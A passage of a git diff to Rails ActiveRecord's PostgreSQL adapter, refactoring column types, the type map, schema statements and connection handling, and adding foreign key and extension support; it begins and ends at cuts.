+ execute "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
pk, seq = pk_and_sequence_for(new_name)
- if seq == "#{name}_#{pk}_seq"
+ if seq && seq.identifier == "#{table_name}_#{pk}_seq"
new_seq = "#{new_name}_#{pk}_seq"
+ idx = "#{table_name}_pkey"
+ new_idx = "#{new_name}_pkey"
execute "ALTER TABLE #{quote_table_name(seq)} RENAME TO #{quote_table_name(new_seq)}"
+ execute "ALTER INDEX #{quote_table_name(idx)} RENAME TO #{quote_table_name(new_idx)}"
end
+
+ rename_table_indexes(table_name, new_name)
end
# Adds a new column to the named table.
# See TableDefinition#column for details of the options you can use.
def add_column(table_name, column_name, type, options = {})
clear_cache!
- add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(add_column_sql, options)
-
- execute add_column_sql
+ super
end
# Changes the column of a table.
def change_column(table_name, column_name, type, options = {})
clear_cache!
quoted_table_name = quote_table_name(table_name)
-
- execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+ sql_type = type_to_sql(type, options[:limit], options[:precision], options[:scale])
+ sql_type << "[]" if options[:array]
+ sql = "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{sql_type}"
+ sql << " USING #{options[:using]}" if options[:using]
+ if options[:cast_as]
+ sql << " USING CAST(#{quote_column_name(column_name)} AS #{type_to_sql(options[:cast_as], options[:limit], options[:precision], options[:scale])})"
+ end
+ execute sql
change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
@@ -355,13 +449,24 @@ module ActiveRecord
# Changes the default value of a table column.
def change_column_default(table_name, column_name, default)
clear_cache!
- execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
+ column = column_for(table_name, column_name)
+ return unless column
+
+ alter_column_query = "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} %s"
+ if default.nil?
+ # <tt>DEFAULT NULL</tt> results in the same behavior as <tt>DROP DEFAULT</tt>. However, PostgreSQL will
+ # cast the default to the columns type, which leaves us with a default like "default NULL::character varying".
+ execute alter_column_query % "DROP DEFAULT"
+ else
+ execute alter_column_query % "SET DEFAULT #{quote_default_value(default, column)}"
+ end
end
def change_column_null(table_name, column_name, null, default = nil)
clear_cache!
unless null || default.nil?
- execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+ column = column_for(table_name, column_name)
+ execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote_default_value(default, column)} WHERE #{quote_column_name(column_name)} IS NULL") if column
end
execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
end
@@ -370,6 +475,12 @@ module ActiveRecord
def rename_column(table_name, column_name, new_column_name)
clear_cache!
execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
+ rename_column_indexes(table_name, column_name, new_column_name)
+ end
+
+ def add_index(table_name, column_name, options = {}) #:nodoc:
+ index_name, index_type, index_columns, index_options, index_algorithm, index_using = add_index_options(table_name, column_name, options)
+ execute "CREATE #{index_type} INDEX #{index_algorithm} #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} #{index_using} (#{index_columns})#{index_options}"
end
def remove_index!(table_name, index_name) #:nodoc:
@@ -377,9 +488,49 @@ module ActiveRecord
end
def rename_index(table_name, old_name, new_name)
+ if new_name.length > allowed_index_name_length
+ raise ArgumentError, "Index name '#{new_name}' on table '#{table_name}' is too long; the limit is #{allowed_index_name_length} characters"
+ end
execute "ALTER INDEX #{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
end
+ def foreign_keys(table_name)
+ fk_info = select_all <<-SQL.strip_heredoc
+ SELECT t2.oid::regclass::text AS to_table, a1.attname AS column, a2.attname AS primary_key, c.conname AS name, c.confupdtype AS on_update, c.confdeltype AS on_delete
+ FROM pg_constraint c
+ JOIN pg_class t1 ON c.conrelid = t1.oid
+ JOIN pg_class t2 ON c.confrelid = t2.oid
+ JOIN pg_attribute a1 ON a1.attnum = c.conkey[1] AND a1.attrelid = t1.oid
+ JOIN pg_attribute a2 ON a2.attnum = c.confkey[1] AND a2.attrelid = t2.oid
+ JOIN pg_namespace t3 ON c.connamespace = t3.oid
+ WHERE c.contype = 'f'
+ AND t1.relname = #{quote(table_name)}
+ AND t3.nspname = ANY (current_schemas(false))
+ ORDER BY c.conname
+ SQL
+
+ fk_info.map do |row|
+ options = {
+ column: row['column'],
+ name: row['name'],
+ primary_key: row['primary_key']
+ }
+
+ options[:on_delete] = extract_foreign_key_action(row['on_delete'])
+ options[:on_update] = extract_foreign_key_action(row['on_update'])
+
+ ForeignKeyDefinition.new(table_name, row['to_table'], options)
+ end
+ end
+
+ def extract_foreign_key_action(specifier) # :nodoc:
+ case specifier
+ when 'c'; :cascade
+ when 'n'; :nullify
+ when 'r'; :restrict
+ end
+ end
+
def index_name_length
63
end
@@ -422,22 +573,18 @@ module ActiveRecord
end
end
- # Returns a SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
- #
# PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
# requires that the ORDER BY include the distinct column.
- #
- # distinct("posts.id", ["posts.created_at desc"])
- # # => "DISTINCT posts.id, posts.created_at AS alias_0"
- def distinct(columns, orders) #:nodoc:
- order_columns = orders.map{ |s|
+ def columns_for_distinct(columns, orders) #:nodoc:
+ order_columns = orders.reject(&:blank?).map{ |s|
# Convert Arel node to string
s = s.to_sql unless s.is_a?(String)
# Remove any ASC/DESC modifiers
- s.gsub(/\s+(ASC|DESC)\s*(NULLS\s+(FIRST|LAST)\s*)?/i, '')
+ s.gsub(/\s+(?:ASC|DESC)\b/i, '')
+ .gsub(/\s+NULLS\s+(?:FIRST|LAST)\b/i, '')
}.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" }
- [super].concat(order_columns).join(', ')
+ [super, *order_columns].join(', ')
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
new file mode 100644
index 0000000000..9a0b80d7d3
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
@@ -0,0 +1,77 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ # Value Object to hold a schema qualified name.
+ # This is usually the name of a PostgreSQL relation but it can also represent
+ # schema qualified type names. +schema+ and +identifier+ are unquoted to prevent
+ # double quoting.
+ class Name # :nodoc:
+ SEPARATOR = "."
+ attr_reader :schema, :identifier
+
+ def initialize(schema, identifier)
+ @schema, @identifier = unquote(schema), unquote(identifier)
+ end
+
+ def to_s
+ parts.join SEPARATOR
+ end
+
+ def quoted
+ if schema
+ PGconn.quote_ident(schema) << SEPARATOR << PGconn.quote_ident(identifier)
+ else
+ PGconn.quote_ident(identifier)
+ end
+ end
+
+ def ==(o)
+ o.class == self.class && o.parts == parts
+ end
+ alias_method :eql?, :==
+
+ def hash
+ parts.hash
+ end
+
+ protected
+ def unquote(part)
+ if part && part.start_with?('"')
+ part[1..-2]
+ else
+ part
+ end
+ end
+
+ def parts
+ @parts ||= [@schema, @identifier].compact
+ end
+ end
+
+ module Utils # :nodoc:
+ extend self
+
+ # Returns an instance of <tt>ActiveRecord::ConnectionAdapters::PostgreSQL::Name</tt>
+ # extracted from +string+.
+ # +schema+ is nil if not specified in +string+.
+ # +schema+ and +identifier+ exclude surrounding quotes (regardless of whether provided in +string+)
+ # +string+ supports the range of schema/table references understood by PostgreSQL, for example:
+ #
+ # * <tt>table_name</tt>
+ # * <tt>"table.name"</tt>
+ # * <tt>schema_name.table_name</tt>
+ # * <tt>schema_name."table.name"</tt>
+ # * <tt>"schema_name".table_name</tt>
+ # * <tt>"schema.name"."table name"</tt>
+ def extract_schema_qualified_name(string)
+ schema, table = string.scan(/[^".\s]+|"[^"]*"/)
+ if table.nil?
+ table = schema
+ schema = nil
+ end
+ PostgreSQL::Name.new(schema, table)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index e24ee1efdd..3a60de1f28 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -1,38 +1,44 @@
require 'active_record/connection_adapters/abstract_adapter'
require 'active_record/connection_adapters/statement_pool'
+
+require 'active_record/connection_adapters/postgresql/utils'
+require 'active_record/connection_adapters/postgresql/column'
require 'active_record/connection_adapters/postgresql/oid'
-require 'active_record/connection_adapters/postgresql/cast'
-require 'active_record/connection_adapters/postgresql/array_parser'
require 'active_record/connection_adapters/postgresql/quoting'
+require 'active_record/connection_adapters/postgresql/referential_integrity'
+require 'active_record/connection_adapters/postgresql/schema_definitions'
require 'active_record/connection_adapters/postgresql/schema_statements'
require 'active_record/connection_adapters/postgresql/database_statements'
-require 'active_record/connection_adapters/postgresql/referential_integrity'
+
require 'arel/visitors/bind_visitor'
# Make sure we're using pg high enough for PGResult#values
-gem 'pg', '~> 0.11'
+gem 'pg', '~> 0.15'
require 'pg'
require 'ipaddr'
module ActiveRecord
- module ConnectionHandling
+ module ConnectionHandling # :nodoc:
+ VALID_CONN_PARAMS = [:host, :hostaddr, :port, :dbname, :user, :password, :connect_timeout,
+ :client_encoding, :options, :application_name, :fallback_application_name,
+ :keepalives, :keepalives_idle, :keepalives_interval, :keepalives_count,
+ :tty, :sslmode, :requiressl, :sslcompression, :sslcert, :sslkey,
+ :sslrootcert, :sslcrl, :requirepeer, :krbsrvname, :gsslib, :service]
+
# Establishes a connection to the database that's used by all Active Record objects
- def postgresql_connection(config) # :nodoc:
+ def postgresql_connection(config)
conn_params = config.symbolize_keys
- # Forward any unused config params to PGconn.connect.
- [:statement_limit, :encoding, :min_messages, :schema_search_path,
- :schema_order, :adapter, :pool, :checkout_timeout, :template,
- :reaping_frequency, :insert_returning, :variables].each do |key|
- conn_params.delete key
- end
- conn_params.delete_if { |k,v| v.nil? }
+ conn_params.delete_if { |_, v| v.nil? }
# Map ActiveRecords param names to PGs.
conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
+ # Forward only valid config params to PGconn.connect.
+ conn_params.keep_if { |k, _| VALID_CONN_PARAMS.include?(k) }
+
# The postgres drivers don't allow the creation of an unconnected PGconn object,
# so just pass a nil connection object for the time being.
ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, conn_params, config)
@@ -40,188 +46,6 @@ module ActiveRecord
end
module ConnectionAdapters
- # PostgreSQL-specific extensions to column definitions in a table.
- class PostgreSQLColumn < Column #:nodoc:
- attr_accessor :array
- # Instantiates a new PostgreSQL column definition in a table.
- def initialize(name, default, oid_type, sql_type = nil, null = true)
- @oid_type = oid_type
- if sql_type =~ /\[\]$/
- @array = true
- super(name, self.class.extract_value_from_default(default), sql_type[0..sql_type.length - 3], null)
- else
- @array = false
- super(name, self.class.extract_value_from_default(default), sql_type, null)
- end
- end
-
- # :stopdoc:
- class << self
- include ConnectionAdapters::PostgreSQLColumn::Cast
- include ConnectionAdapters::PostgreSQLColumn::ArrayParser
- attr_accessor :money_precision
- end
- # :startdoc:
-
- # Extracts the value from a PostgreSQL column default definition.
- def self.extract_value_from_default(default)
- # This is a performance optimization for Ruby 1.9.2 in development.
- # If the value is nil, we return nil straight away without checking
- # the regular expressions. If we check each regular expression,
- # Regexp#=== will call NilClass#to_str, which will trigger
- # method_missing (defined by whiny nil in ActiveSupport) which
- # makes this method very very slow.
- return default unless default
-
- case default
- # Numeric types
- when /\A\(?(-?\d+(\.\d*)?\)?)\z/
- $1
- # Character types
- when /\A\(?'(.*)'::.*\b(?:character varying|bpchar|text)\z/m
- $1
- # Binary data types
- when /\A'(.*)'::bytea\z/m
- $1
- # Date/time types
- when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
- $1
- when /\A'(.*)'::interval\z/
- $1
- # Boolean type
- when 'true'
- true
- when 'false'
- false
- # Geometric types
- when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
- $1
- # Network address types
- when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
- $1
- # Bit string types
- when /\AB'(.*)'::"?bit(?: varying)?"?\z/
- $1
- # XML type
- when /\A'(.*)'::xml\z/m
- $1
- # Arrays
- when /\A'(.*)'::"?\D+"?\[\]\z/
- $1
- # Hstore
- when /\A'(.*)'::hstore\z/
- $1
- # JSON
- when /\A'(.*)'::json\z/
- $1
- # Object identifier types
- when /\A-?\d+\z/
- $1
- else
- # Anything else is blank, some user type, or some function
- # and we can't know the value of that, so return nil.
- nil
- end
- end
-
- def type_cast(value)
- return if value.nil?
- return super if encoded?
-
- @oid_type.type_cast value
- end
-
- private
-
- def extract_limit(sql_type)
- case sql_type
- when /^bigint/i; 8
- when /^smallint/i; 2
- when /^timestamp/i; nil
- else super
- end
- end
-
- # Extracts the scale from PostgreSQL-specific data types.
- def extract_scale(sql_type)
- # Money type has a fixed scale of 2.
- sql_type =~ /^money/ ? 2 : super
- end
-
- # Extracts the precision from PostgreSQL-specific data types.
- def extract_precision(sql_type)
- if sql_type == 'money'
- self.class.money_precision
- elsif sql_type =~ /timestamp/i
- $1.to_i if sql_type =~ /\((\d+)\)/
- else
- super
- end
- end
-
- # Maps PostgreSQL-specific data types to logical Rails types.
- def simplified_type(field_type)
- case field_type
- # Numeric and monetary types
- when /^(?:real|double precision)$/
- :float
- # Monetary types
- when 'money'
- :decimal
- when 'hstore'
- :hstore
- # Network address types
- when 'inet'
- :inet
- when 'cidr'
- :cidr
- when 'macaddr'
- :macaddr
- # Character types
- when /^(?:character varying|bpchar)(?:\(\d+\))?$/
- :string
- # Binary data types
- when 'bytea'
- :binary
- # Date/time types
- when /^timestamp with(?:out)? time zone$/
- :datetime
- when /^interval(?:|\(\d+\))$/
- :string
- # Geometric types
- when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
- :string
- # Bit strings
- when /^bit(?: varying)?(?:\(\d+\))?$/
- :string
- # XML type
- when 'xml'
- :xml
- # tsvector type
- when 'tsvector'
- :tsvector
- # Arrays
- when /^\D+\[\]$/
- :string
- # Object identifier types
- when 'oid'
- :integer
- # UUID type
- when 'uuid'
- :uuid
- # JSON type
- when 'json'
- :json
- # Small and big integer types
- when /^(?:small|big)int$/
- :integer
- # Pass through all types that are not specific to PostgreSQL.
- else
- super
- end
- end
- end
-
# The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
#
# Options:
@@ -250,78 +74,28 @@ module ActiveRecord
# In addition, default connection parameters of libpq can be set per environment variables.
# See http://www.postgresql.org/docs/9.1/static/libpq-envars.html .
class PostgreSQLAdapter < AbstractAdapter
- class ColumnDefinition < ActiveRecord::ConnectionAdapters::ColumnDefinition
- attr_accessor :array
- end
-
- class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
- def xml(*args)
- options = args.extract_options!
- column(args[0], 'xml', options)
- end
-
- def tsvector(*args)
- options = args.extract_options!
- column(args[0], 'tsvector', options)
- end
-
- def hstore(name, options = {})
- column(name, 'hstore', options)
- end
-
- def inet(name, options = {})
- column(name, 'inet', options)
- end
-
- def cidr(name, options = {})
- column(name, 'cidr', options)
- end
-
- def macaddr(name, options = {})
- column(name, 'macaddr', options)
- end
-
- def uuid(name, options = {})
- column(name, 'uuid', options)
- end
-
- def json(name, options = {})
- column(name, 'json', options)
- end
-
- def column(name, type = nil, options = {})
- super
- column = self[name]
- column.array = options[:array]
-
- self
- end
-
- private
-
- def new_column_definition(base, name, type)
- definition = ColumnDefinition.new base, name, type
- @columns << definition
- @columns_hash[name] = definition
- definition
- end
- end
-
- ADAPTER_NAME = 'PostgreSQL'
+ ADAPTER_NAME = 'PostgreSQL'.freeze
NATIVE_DATABASE_TYPES = {
primary_key: "serial primary key",
- string: { name: "character varying", limit: 255 },
+ bigserial: "bigserial",
+ string: { name: "character varying" },
text: { name: "text" },
integer: { name: "integer" },
float: { name: "float" },
decimal: { name: "decimal" },
datetime: { name: "timestamp" },
- timestamp: { name: "timestamp" },
time: { name: "time" },
date: { name: "date" },
+ daterange: { name: "daterange" },
+ numrange: { name: "numrange" },
+ tsrange: { name: "tsrange" },
+ tstzrange: { name: "tstzrange" },
+ int4range: { name: "int4range" },
+ int8range: { name: "int8range" },
binary: { name: "bytea" },
boolean: { name: "boolean" },
+ bigint: { name: "bigint" },
xml: { name: "xml" },
tsvector: { name: "tsvector" },
hstore: { name: "hstore" },
@@ -329,28 +103,38 @@ module ActiveRecord
cidr: { name: "cidr" },
macaddr: { name: "macaddr" },
uuid: { name: "uuid" },
- json: { name: "json" }
+ json: { name: "json" },
+ jsonb: { name: "jsonb" },
+ ltree: { name: "ltree" },
+ citext: { name: "citext" },
+ point: { name: "point" },
+ bit: { name: "bit" },
+ bit_varying: { name: "bit varying" },
+ money: { name: "money" },
}
- include Quoting
- include ReferentialIntegrity
- include SchemaStatements
- include DatabaseStatements
+ OID = PostgreSQL::OID #:nodoc:
+
+ include PostgreSQL::Quoting
+ include PostgreSQL::ReferentialIntegrity
+ include PostgreSQL::SchemaStatements
+ include PostgreSQL::DatabaseStatements
+ include Savepoints
- # Returns 'PostgreSQL' as adapter name for identification purposes.
- def adapter_name
- ADAPTER_NAME
+ def schema_creation # :nodoc:
+ PostgreSQL::SchemaCreation.new self
end
- # Adds `:array` option to the default set provided by the
+ # Adds +:array+ option to the default set provided by the
# AbstractAdapter
- def prepare_column_options(column, types)
+ def prepare_column_options(column) # :nodoc:
spec = super
spec[:array] = 'true' if column.respond_to?(:array) && column.array
+ spec[:default] = "\"#{column.default_function}\"" if column.default_function
spec
end
- # Adds `:array` as a valid migration key
+ # Adds +:array+ as a valid migration key
def migration_keys
super + [:array]
end
@@ -373,6 +157,18 @@ module ActiveRecord
true
end
+ def supports_foreign_keys?
+ true
+ end
+
+ def supports_views?
+ true
+ end
+
+ def index_algorithms
+ { concurrently: 'CONCURRENTLY' }
+ end
+
class StatementPool < ConnectionAdapters::StatementPool
def initialize(connection, max)
super
@@ -426,22 +222,17 @@ module ActiveRecord
end
end
- class BindSubstitution < Arel::Visitors::PostgreSQL # :nodoc:
- include Arel::Visitors::BindVisitor
- end
-
# Initializes and connects a PostgreSQL adapter.
def initialize(connection, logger, connection_parameters, config)
super(connection, logger)
- if config.fetch(:prepared_statements) { true }
- @visitor = Arel::Visitors::PostgreSQL.new self
+ @visitor = Arel::Visitors::PostgreSQL.new self
+ if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
+ @prepared_statements = true
else
- @visitor = BindSubstitution.new self
+ @prepared_statements = false
end
- connection_parameters.delete :prepared_statements
-
@connection_parameters, @config = connection_parameters, config
# @local_tz is initialized as nil to avoid warnings when connect tries to use it
@@ -450,15 +241,16 @@ module ActiveRecord
connect
@statements = StatementPool.new @connection,
- config.fetch(:statement_limit) { 1000 }
+ self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 })
if postgresql_version < 80200
raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
end
- initialize_type_map
+ @type_map = Type::HashLookupTypeMap.new
+ initialize_type_map(type_map)
@local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
- @use_insert_returning = @config.key?(:insert_returning) ? @config[:insert_returning] : true
+ @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
end
# Clears the prepared statements cache.
@@ -466,6 +258,10 @@ module ActiveRecord
@statements.clear
end
+ def truncate(table_name, name = nil)
+ exec_query "TRUNCATE TABLE #{quote_table_name(table_name)}", name, []
+ end
+
# Is this connection alive and ready for queries?
def active?
@connection.query 'SELECT 1'
@@ -483,7 +279,12 @@ module ActiveRecord
def reset!
clear_cache!
- super
+ reset_transaction
+ unless @connection.transaction_status == ::PG::PQTRANS_IDLE
+ @connection.query 'ROLLBACK'
+ end
+ @connection.query 'DISCARD ALL'
+ configure_connection
end
# Disconnects from the database if already connected. Otherwise, this
@@ -515,34 +316,59 @@ module ActiveRecord
self.client_min_messages = old
end
- def supports_insert_with_returning?
+ def supports_ddl_transactions?
true
end
- def supports_ddl_transactions?
+ def supports_explain?
true
end
- # Returns true, since this connection adapter supports savepoints.
- def supports_savepoints?
- true
+ # Returns true if pg > 9.1
+ def supports_extensions?
+ postgresql_version >= 90100
end
- # Returns true.
- def supports_explain?
- true
+ # Range datatypes weren't introduced until PostgreSQL 9.2
+ def supports_ranges?
+ postgresql_version >= 90200
end
- # Returns the configured supported identifier length supported by PostgreSQL
- def table_alias_length
- @table_alias_length ||= query('SHOW max_identifier_length', 'SCHEMA')[0][0].to_i
+ def supports_materialized_views?
+ postgresql_version >= 90300
+ end
+
+ def enable_extension(name)
+ exec_query("CREATE EXTENSION IF NOT EXISTS \"#{name}\"").tap {
+ reload_type_map
+ }
end
- def add_column_options!(sql, options)
- if options[:array] || options[:column].try(:array)
- sql << '[]'
+ def disable_extension(name)
+ exec_query("DROP EXTENSION IF EXISTS \"#{name}\" CASCADE").tap {
+ reload_type_map
+ }
+ end
+
+ def extension_enabled?(name)
+ if supports_extensions?
+ res = exec_query "SELECT EXISTS(SELECT * FROM pg_available_extensions WHERE name = '#{name}' AND installed_version IS NOT NULL) as enabled",
+ 'SCHEMA'
+ res.cast_values.first
+ end
+ end
+
+ def extensions
+ if supports_extensions?
+ exec_query("SELECT extname from pg_extension", "SCHEMA").cast_values
+ else
+ super
end
- super
+ end
+
+ # Returns the configured supported identifier length supported by PostgreSQL
+ def table_alias_length
+ @table_alias_length ||= query('SHOW max_identifier_length', 'SCHEMA')[0][0].to_i
end
# Set the authorized user for this session
@@ -551,29 +377,33 @@ module ActiveRecord
exec_query "SET SESSION AUTHORIZATION #{user}"
end
- module Utils
- extend self
+ def use_insert_returning?
+ @use_insert_returning
+ end
+
+ def valid_type?(type)
+ !native_database_types[type].nil?
+ end
- # Returns an array of <tt>[schema_name, table_name]</tt> extracted from +name+.
- # +schema_name+ is nil if not specified in +name+.
- # +schema_name+ and +table_name+ exclude surrounding quotes (regardless of whether provided in +name+)
- # +name+ supports the range of schema/table references understood by PostgreSQL, for example:
- #
- # * <tt>table_name</tt>
- # * <tt>"table.name"</tt>
- # * <tt>schema_name.table_name</tt>
- # * <tt>schema_name."table.name"</tt>
- # * <tt>"schema.name"."table name"</tt>
- def extract_schema_and_table(name)
- table, schema = name.scan(/[^".\s]+|"[^"]*"/)[0..1].collect{|m| m.gsub(/(^"|"$)/,'') }.reverse
- [schema, table]
- end
+ def update_table_definition(table_name, base) #:nodoc:
+ PostgreSQL::Table.new(table_name, base)
end
- def use_insert_returning?
- @use_insert_returning
+ def lookup_cast_type(sql_type) # :nodoc:
+ oid = execute("SELECT #{quote(sql_type)}::regtype::oid", "SCHEMA").first['oid'].to_i
+ super(oid)
end
+ def column_name_for_operation(operation, node) # :nodoc:
+ OPERATION_ALIASES.fetch(operation) { operation.downcase }
+ end
+
+ OPERATION_ALIASES = { # :nodoc:
+ "maximum" => "max",
+ "minimum" => "min",
+ "average" => "avg",
+ }
+
protected
# Returns the version of the connected PostgreSQL server.
@@ -586,6 +416,8 @@ module ActiveRecord
UNIQUE_VIOLATION = "23505"
def translate_exception(exception, message)
+ return exception unless exception.respond_to?(:result)
+
case exception.result.try(:error_field, PGresult::PG_DIAG_SQLSTATE)
when UNIQUE_VIOLATION
RecordNotUnique.new(message, exception)
@@ -598,63 +430,191 @@ module ActiveRecord
private
- def initialize_type_map
- result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
- leaves, nodes = result.partition { |row| row['typelem'] == '0' }
+ def get_oid_type(oid, fmod, column_name, sql_type = '') # :nodoc:
+ if !type_map.key?(oid)
+ load_additional_types(type_map, [oid])
+ end
- # populate the leaf nodes
- leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
- OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+ type_map.fetch(oid, fmod, sql_type) {
+ warn "unknown OID #{oid}: failed to recognize type of '#{column_name}'. It will be treated as String."
+ Type::Value.new.tap do |cast_type|
+ type_map.register_type(oid, cast_type)
+ end
+ }
+ end
+
+ def initialize_type_map(m) # :nodoc:
+ register_class_with_limit m, 'int2', OID::Integer
+ m.alias_type 'int4', 'int2'
+ m.alias_type 'int8', 'int2'
+ m.alias_type 'oid', 'int2'
+ m.register_type 'float4', OID::Float.new
+ m.alias_type 'float8', 'float4'
+ m.register_type 'text', Type::Text.new
+ register_class_with_limit m, 'varchar', Type::String
+ m.alias_type 'char', 'varchar'
+ m.alias_type 'name', 'varchar'
+ m.alias_type 'bpchar', 'varchar'
+ m.register_type 'bool', Type::Boolean.new
+ register_class_with_limit m, 'bit', OID::Bit
+ register_class_with_limit m, 'varbit', OID::BitVarying
+ m.alias_type 'timestamptz', 'timestamp'
+ m.register_type 'date', OID::Date.new
+ m.register_type 'time', OID::Time.new
+
+ m.register_type 'money', OID::Money.new
+ m.register_type 'bytea', OID::Bytea.new
+ m.register_type 'point', OID::Point.new
+ m.register_type 'hstore', OID::Hstore.new
+ m.register_type 'json', OID::Json.new
+ m.register_type 'jsonb', OID::Jsonb.new
+ m.register_type 'cidr', OID::Cidr.new
+ m.register_type 'inet', OID::Inet.new
+ m.register_type 'uuid', OID::Uuid.new
+ m.register_type 'xml', OID::Xml.new
+ m.register_type 'tsvector', OID::SpecializedString.new(:tsvector)
+ m.register_type 'macaddr', OID::SpecializedString.new(:macaddr)
+ m.register_type 'citext', OID::SpecializedString.new(:citext)
+ m.register_type 'ltree', OID::SpecializedString.new(:ltree)
+
+ # FIXME: why are we keeping these types as strings?
+ m.alias_type 'interval', 'varchar'
+ m.alias_type 'path', 'varchar'
+ m.alias_type 'line', 'varchar'
+ m.alias_type 'polygon', 'varchar'
+ m.alias_type 'circle', 'varchar'
+ m.alias_type 'lseg', 'varchar'
+ m.alias_type 'box', 'varchar'
+
+ m.register_type 'timestamp' do |_, _, sql_type|
+ precision = extract_precision(sql_type)
+ OID::DateTime.new(precision: precision)
end
- arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
+ m.register_type 'numeric' do |_, fmod, sql_type|
+ precision = extract_precision(sql_type)
+ scale = extract_scale(sql_type)
+
+ # The type for the numeric depends on the width of the field,
+ # so we'll do something special here.
+ #
+ # When dealing with decimal columns:
+ #
+ # places after decimal = fmod - 4 & 0xffff
+ # places before decimal = (fmod - 4) >> 16 & 0xffff
+ if fmod && (fmod - 4 & 0xffff).zero?
+ # FIXME: Remove this class, and the second argument to
+ # lookups on PG
+ Type::DecimalWithoutScale.new(precision: precision)
+ else
+ OID::Decimal.new(precision: precision, scale: scale)
+ end
+ end
- # populate composite types
- nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
- OID::TYPE_MAP[row['oid'].to_i] = vector
+ load_additional_types(m)
+ end
+
+ def extract_limit(sql_type) # :nodoc:
+ case sql_type
+ when /^bigint/i; 8
+ when /^smallint/i; 2
+ else super
end
+ end
- # populate array types
- arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- array = OID::Array.new OID::TYPE_MAP[row['typelem'].to_i]
- OID::TYPE_MAP[row['oid'].to_i] = array
+ # Extracts the value from a PostgreSQL column default definition.
+ def extract_value_from_default(oid, default) # :nodoc:
+ case default
+ # Quoted types
+ when /\A[\(B]?'(.*)'::/m
+ $1.gsub(/''/, "'")
+ # Boolean types
+ when 'true', 'false'
+ default
+ # Numeric types
+ when /\A\(?(-?\d+(\.\d*)?)\)?(::bigint)?\z/
+ $1
+ # Object identifier types
+ when /\A-?\d+\z/
+ $1
+ else
+ # Anything else is blank, some user type, or some function
+ # and we can't know the value of that, so return nil.
+ nil
end
end
- FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+ def extract_default_function(default_value, default) # :nodoc:
+ default if has_default_function?(default_value, default)
+ end
- def exec_no_cache(sql, binds)
- @connection.async_exec(sql)
+ def has_default_function?(default_value, default) # :nodoc:
+ !default_value && (%r{\w+\(.*\)} === default)
end
- def exec_cache(sql, binds)
- begin
- stmt_key = prepare_statement sql
+ def load_additional_types(type_map, oids = nil) # :nodoc:
+ if supports_ranges?
+ query = <<-SQL
+ SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, r.rngsubtype, t.typtype, t.typbasetype
+ FROM pg_type as t
+ LEFT JOIN pg_range as r ON oid = rngtypid
+ SQL
+ else
+ query = <<-SQL
+ SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, t.typtype, t.typbasetype
+ FROM pg_type as t
+ SQL
+ end
- # Clear the queue
- @connection.get_last_result
- @connection.send_query_prepared(stmt_key, binds.map { |col, val|
- type_cast(val, col)
- })
- @connection.block
- @connection.get_last_result
- rescue PGError => e
- # Get the PG code for the failure. Annoyingly, the code for
- # prepared statements whose return value may have changed is
